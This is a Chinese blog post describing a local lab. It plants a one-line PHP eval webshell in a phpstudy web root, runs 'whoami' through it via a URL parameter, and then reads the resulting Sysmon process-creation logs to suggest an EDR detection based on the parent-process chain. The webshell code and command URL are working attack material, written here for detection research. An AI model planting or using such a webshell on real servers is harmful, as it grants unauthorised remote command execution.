下载phpstudy，链接：https://public.xp.cn/upgrades/phpStudy_64.zip，如下图启动wnmp。
webshell内容：
<?php echo "Your response is: ";?>
<?php @eval（$_GET['cmd']);?>写入C:\phpstudy_pro\WWW下的shell.php文件。
浏览器执行命令：
localhost/shell.php?cmd=system(%27whoami%27);
注意有一个;
然后界面返回：
看看sysmon的数据采集：有2条
一条数据是关于system是启动cmd进程：
Process Create:
RuleName: -
UtcTime: 2022-04-26 08:20:16.986
ProcessGuid: {0bf95bee-ab40-6267-aa07-000000000900}
ProcessId: 5512
Image: C:\Windows\System32\cmd.exe
FileVersion: 10.0.19041.746 (WinBuild.160101.0800)
Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: Cmd.Exe
CommandLine: cmd.exe /c "whoami"
CurrentDirectory: C:\phpstudy_pro\WWW\
User: DESKTOP-92JS9SJ\bonel
LogonGuid: {0bf95bee-6815-6267-e29f-050000000000}
LogonId: 0x59FE2
TerminalSessionId: 1
IntegrityLevel: High
Hashes: MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18
ParentProcessGuid: {0bf95bee-a686-6267-5407-000000000900}
ParentProcessId: 3952
ParentImage: C:\phpstudy_pro\Extensions\php\php7.3.4nts\php-cgi.exe
ParentCommandLine: ../Extensions/php/php7.3.4nts/php-cgi.exe
ParentUser: DESKTOP-92JS9SJ\bonel另外一条是cmd里启动whoami：
Process Create:
RuleName: -
UtcTime: 2022-04-26 08:20:17.010
ProcessGuid: {0bf95bee-ab41-6267-ac07-000000000900}
ProcessId: 4368
Image: C:\Windows\System32\whoami.exe
FileVersion: 10.0.19041.1 (WinBuild.160101.0800)
Description: whoami - displays logged on user information
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: whoami.exe
CommandLine: whoami
CurrentDirectory: C:\phpstudy_pro\WWW\
User: DESKTOP-92JS9SJ\bonel
LogonGuid: {0bf95bee-6815-6267-e29f-050000000000}
LogonId: 0x59FE2
TerminalSessionId: 1
IntegrityLevel: High
Hashes: MD5=A4A6924F3EAF97981323703D38FD99C4,SHA256=1D4902A04D99E8CCBFE7085E63155955FEE397449D386453F6C452AE407B8743,IMPHASH=7FF0758B766F747CE57DFAC70743FB88
ParentProcessGuid: {0bf95bee-ab40-6267-aa07-000000000900}
ParentProcessId: 5512
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: cmd.exe /c "whoami"
ParentUser: DESKTOP-92JS9SJ\bonel
因此，EDR里检测，应该就是检测parent（的partent）进程是否有whoami.
标签：webshell,6267,exe,Windows,cmd,sysmon,0bf95bee,交互,whoami From： https://blog.51cto.com/u_11908275/6392847